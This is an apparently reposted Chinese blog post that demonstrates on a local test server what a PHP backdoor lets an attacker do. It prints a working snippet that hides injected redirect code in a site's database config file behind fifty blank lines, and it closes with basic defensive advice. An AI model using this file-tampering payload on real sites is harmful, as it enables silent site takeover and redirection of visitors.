说明:
写代码的人需要特别注意安全问题,绝不能轻信用户的输入。
测试准备:
为了模拟攻击,我在本地搭建了一个服务器环境,展示了一个正常的网站如何被攻击。
首先,我修改了电脑本地的 host 文件,这样就可以通过 test.com 虚拟域名访问本地文件了。host 文件的路径在“ C:\Windows\System32\drivers\etc ”。
网站目录非常简单,如下所示:
在网站的入口文件中,我引用了数据库配置文件,并输出了一句话来模拟网站首页。
在数据库配置文件中,我参考了当前流行的框架ThinkPHP的数据库配置文件,返回了一个包含数据库端口和密码等基本信息的数组。
接下来是我们的重点,黑客后门文件。
也许你会觉得,就这些代码能做什么呢?
开始模拟攻击:
我们先访问一下我们的网站,发现可以正常访问,没有任何问题。
然后访问一下黑客文件,也好像没有问题。
1、输出PHP版本信息:
现在黑客已经知道了你的后台 PHP 版本,以及安装了哪些插件,使用的是哪种数据库。
2、网页重定向:
可以跳转到百度了,这表示黑客已经搭建好了一个可以运行代码的环境。现在通过你的网站,黑客可以随意执行任意一行代码。
3、读取数据库配置信息:
黑客已经获取到了你的密码等信息,你的网站上的数据都可以被修改了,这是不是让你害怕呢?甚至可以“删库跑路”!!
4、删除文件:
看,1.txt 文件已经被删除了。黑客可以删除你网站上的任意文件。
5、修改文件
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
来看看你的 db.php 文件是如何被修改的
在文件头部添加了大量的换行符,你可能会认为文件是空的,但实际上他已经在文件中插入了一行跳转代码,无论其他人如何访问你的网站,都会被重定向到他所指定的网站。
攻击 End
看完是不是大吃一惊?别慌:我们应该如何防范呢?
不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
在获取用户输入之前一定要进行过滤处理;
在服务器上,设置文件的权限,不要给每个文件都赋予执行脚本的权限;
可以增加防篡改功能;
或者修改你服务器的安全组,修改默认端口如 22、21 等,不要开放所有端口;
对整个站点进行木马扫描。
转载请注明:汇站网 » 黑客可以利用网站的后门做什么?